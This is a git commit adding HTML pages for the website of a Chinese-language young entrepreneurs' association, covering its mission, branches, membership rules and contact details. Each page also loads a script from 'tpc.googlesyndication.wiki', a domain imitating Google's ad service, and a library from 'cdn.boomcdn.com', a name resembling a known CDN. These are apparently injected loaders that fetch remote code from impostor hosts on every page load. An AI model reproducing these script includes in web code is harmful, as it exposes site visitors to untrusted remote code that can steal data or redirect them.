initial commit
This commit is contained in:
+205
@@ -0,0 +1,205 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/about.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>YEN介紹</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="block-about-1" class="page-block block-about-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-1">
|
||||
<div class="container">
|
||||
<div class="content-1">
|
||||
<h2 class="animate__animated animate__fadeInLeft">協會介紹</h2>
|
||||
<p class="animate__animated animate__fadeInUp">YEN協會雛形草創於2008年，正式成立於2012年。是一群25-45歲青年創業家/企業接班人為主體的協會，全稱：雁博青年創業家協會（Young Entrepreneurs Network）簡稱：Y.E.N.</p>
|
||||
<p class="animate__animated animate__fadeInUp">YEN匯集了一群有共同使命感的企業家，支持讓有想法的青年企業家，學會如何創業、守業甚至為公司轉型。建立一個安全的分享環境，能夠幫助並打破孤軍奮戰的困境。希望讓會員更好的享受集體資源，提供資訊交流平台，為會員創造更多合作機會。</p>
|
||||
<p class="animate__animated animate__fadeInUp">YEN的中文-雁，也代表著雁群效應 -雁群以V字集體飛翔，借助領頭大雁產生的空氣動力，使整體飛行更省力，並在過程中彼此輪換，一同前進。</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-2" class="page-block block-about-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-1.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-2.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-3.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-4.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-5.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-2">
|
||||
<div class="container">
|
||||
<div class="nav-img"><img id="nav-2" src="../images/fh-tc.png" /></div>
|
||||
<div class="city-items">
|
||||
<div id="content-2">
|
||||
<h5>我們目前共有11個分會：</h5>
|
||||
<span>北京</span>
|
||||
<span>台灣</span>
|
||||
<span>上海</span>
|
||||
<span>香港</span>
|
||||
<span>南京</span>
|
||||
<span>新加坡</span>
|
||||
<span>深圳</span>
|
||||
<span>馬來西亞</span>
|
||||
<span>廣州</span>
|
||||
<span>越南</span>
|
||||
<span>重慶</span>
|
||||
</div>
|
||||
</div>
|
||||
<img class="map" src="../images/map.png" />
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-3" class="page-block block-about-3">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-3">
|
||||
<div class="container">
|
||||
<div class="nav-img"><img id="nav-3" src="../images/sm.png" /></div>
|
||||
<div class="sm">
|
||||
<div id="content-3">
|
||||
<h3>我們的使命</h3>
|
||||
<p>打造一個正循環生態，讓一群企業家透過資訊交流，持續學習，相互支持，讓彼此成為更好的領導者；進而改變自己與世界的命運。</p>
|
||||
<h3>我們的承諾</h3>
|
||||
<p>1. 協助企業會員成長</p>
|
||||
<p>2. 確保會員能在雁博會找到歸屬感</p>
|
||||
<p>3. 支持企業家進行內部深度分享</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>聯繫YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#bec7dbd090dfdad3d7d08ffed7ddd2d1cbda90ddd1d3"><span class="__cf_email__" data-cfemail="4d342823632c292024237c0d242e21223829632e2220">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oContainer1 = document.getElementById('block-about-1');
|
||||
const oContainer2 = document.getElementById('block-about-2');
|
||||
const oContainer3 = document.getElementById('block-about-3');
|
||||
const oNav2 = document.getElementById('nav-2');
|
||||
const oNav3 = document.getElementById('nav-3');
|
||||
const oContent2 = document.getElementById('content-2');
|
||||
const oContent3 = document.getElementById('content-3');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
|
||||
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
|
||||
}
|
||||
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
|
||||
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/home.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>雁博青年創業家協會</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<!-- 倍伴 -->
|
||||
<section id="block-home-1" class="page-block block-home-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1a.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1d.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-1">
|
||||
<div class="container">
|
||||
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
|
||||
<label>
|
||||
<img src="../images/pb.png" />
|
||||
一起成為更好的領導者！
|
||||
</label>
|
||||
<span>打造一個正循環生態，讓一群企業家透過資訊交流，持續學習，相互支持，讓彼此成為更好的領導者；進而改變自己與世界的命運。</span>
|
||||
<a href="about.html">了解更多</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 成长 -->
|
||||
<section id="block-home-2" class="page-block block-home-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-home-2b-pc.jpg" style="background-image: url('../images/block-home-2b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2d.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2e.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-2">
|
||||
<div class="container">
|
||||
<div id="block-content-2" class="content">
|
||||
<label>
|
||||
<img src="../images/cz-tc.png" />
|
||||
突破你的邊界！
|
||||
</label>
|
||||
<span>透過互相學習的過程，讓創業家繼續成長突破，並打破創業家孤軍奮戰的困境，提供安全互信的環境，彼此扶持。</span>
|
||||
<a href="value.html">了解更多</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>聯繫YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#661f03084807020b0f0857260f050a0913024805090b"><span class="__cf_email__" data-cfemail="f58c909bdb9491989c9bc4b59c96999a8091db969a98">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oBlock1 = document.getElementById('block-home-1');
|
||||
const oBlock2 = document.getElementById('block-home-2');
|
||||
const oContent2 = document.getElementById('block-content-2');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
|
||||
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+180
@@ -0,0 +1,180 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Cache-Control" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/index.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>雁博青年創業家協會</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<!-- 第一屏 -->
|
||||
<section class="page-block block-index">
|
||||
<div class="video-container">
|
||||
<video
|
||||
id="home-video"
|
||||
muted
|
||||
autoplay
|
||||
x-webkit-airplay="allow"
|
||||
x5-playsinline
|
||||
webkit-playsinline="true"
|
||||
playsinline="true"
|
||||
loop="loop"
|
||||
src="../images/video.v3.mp4"
|
||||
/>
|
||||
</div>
|
||||
<div class="main-index">
|
||||
<div class="content">
|
||||
<div id="slogan" class="title">
|
||||
<p class="animate__animated animate__fadeInDown"><span>嗨!</span><span>創業家</span></p>
|
||||
</div>
|
||||
<a href="home.html" class="icon-triangle-arrow animate__animated animate__bounce animate__infinite"></a>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oDiv = document.getElementById('slogan');
|
||||
|
||||
//切换视频
|
||||
function tranVideo() {
|
||||
const ua = navigator.userAgent
|
||||
const oVideo = document.getElementById('home-video')
|
||||
if(
|
||||
(ua.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i)) ||
|
||||
ua.toLowerCase().match(/QQ/i) == 'qq'
|
||||
) {
|
||||
oVideo.src = '../images/video.v3.mp4'
|
||||
}
|
||||
else {
|
||||
oVideo.src = '../images/pc-video.mp4'
|
||||
}
|
||||
}
|
||||
tranVideo()
|
||||
window.onresize = tranVideo
|
||||
//切换文字
|
||||
function tranSlogan() {
|
||||
let i = 1
|
||||
const en = `<p class="en"><span>Hello,</span><span>Entrepreneurs</span></p>`
|
||||
const cnTw = `<p><span>嗨!</span><span>創業家</span></p>`
|
||||
const cn = `<p><span>你好,</span><span>创业者</span></p>`
|
||||
setInterval(function() {
|
||||
if(i == 1) {
|
||||
oDiv.innerHTML = en
|
||||
i = 2
|
||||
}
|
||||
else if(i === 2) {
|
||||
oDiv.innerHTML = cn
|
||||
i = 3
|
||||
}
|
||||
else if(i === 3) {
|
||||
oDiv.innerHTML = cnTw
|
||||
i = 1
|
||||
}
|
||||
}, 2000)
|
||||
}
|
||||
tranSlogan()
|
||||
</script>
|
||||
|
||||
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
|
||||
<script>
|
||||
function doPlay() {
|
||||
document.getElementById('home-video').play();
|
||||
}
|
||||
doPlay();
|
||||
//必须在微信Weixin JSAPI的WeixinJSBridgeReady才能生效
|
||||
document.addEventListener("WeixinJSBridgeReady", function () {
|
||||
doPlay();
|
||||
}, false);
|
||||
//微信Android中无法自动播放处理
|
||||
const ua = navigator.userAgent.toLowerCase();
|
||||
const isWeixin = ua.indexOf('micromessenger') != -1;
|
||||
const isAndroid = ua.indexOf('android') != -1;
|
||||
if(isWeixin && isAndroid) {
|
||||
document.getElementById('home-video').setAttribute('poster', '../images/poster.png')
|
||||
}
|
||||
document.addEventListener("click", doPlay, false);
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/join.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>加入我們</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="join-block-1" class="page-block join-block-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/join-1.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/join-2.jpg')"></div>
|
||||
<div class="slideshow-3-image pc-source" data-pc-url="../images/join-3-pc.jpg" style="background-image: url('../images/join-3.jpg')"></div>
|
||||
</div>
|
||||
<div class="join-main-1">
|
||||
<div class="container">
|
||||
<h4>入會標準</h4>
|
||||
<span>24-45歲的創業者或企業接班人，由現有會員推薦，並由各城市分會面試與審核通過</span>
|
||||
<h5>創業者（需滿足以下條件）</h5>
|
||||
<ul>
|
||||
<li><i>i.</i>入會前須有至少一年創業經歷，原始股權比例至少10%以上</li>
|
||||
<li><i>ii.</i>公司至少有三名全職員工</li>
|
||||
</ul>
|
||||
<h5>企業接班人（以下3條需至少滿足2條）</h5>
|
||||
<ul>
|
||||
<li><i>i.</i>直系親屬是企業擁有者或大股東，擁有股東會主導權</li>
|
||||
<li><i>ii.</i>目前負責一個事業部</li>
|
||||
<li><i>iii.</i>目前已在公司任職2年以上，並是企業培養的主要繼承者人選</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="join-block-2" class="page-block join-block-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/DNA-1.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/DNA-2.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/DNA-3.jpg')"></div>
|
||||
</div>
|
||||
<div class="join-main-2">
|
||||
<div class="container">
|
||||
<div class="dna-items">
|
||||
<h4>除此之外<br />YEN會員之間秉持著六大核心價值 - DNA</h4>
|
||||
<div class="item">
|
||||
<h5>保密</h5>
|
||||
<p>設定清晰保密等級</p>
|
||||
<p>活動照片公開需當事人同意</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>平等</h5>
|
||||
<p>凡事AA制</p>
|
||||
<p>平等看待各個行業</p>
|
||||
<p>打造共同語言環境</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>投入</h5>
|
||||
<p>主動回饋YEN</p>
|
||||
<p>不帶批判傾聽對方聲音</p>
|
||||
<p>誠實回饋所知訊息</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>分享</h5>
|
||||
<p>真誠分享企業經營心得</p>
|
||||
<p>引進外部資源</p>
|
||||
<p>介紹優質人脈</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>負責</h5>
|
||||
<p>積極參加及組織活動</p>
|
||||
<p>主動承擔責任</p>
|
||||
<p>願意做組織的領導者</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>尊重</h5>
|
||||
<p>對事不對人，不評判他人</p>
|
||||
<p>有建議私下提出</p>
|
||||
</div>
|
||||
<p class="tips">如果你滿足上面條件，歡迎聯繫你身邊的YEN會員，或者透過下方郵件聯繫我們協會。期待和你一起在創業的路上拼搏！</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>聯繫YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#651c000b4b0401080c0b54250c06090a10014b060a08"><span class="__cf_email__" data-cfemail="4138242f6f20252c282f700128222d2e34256f222e2c">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
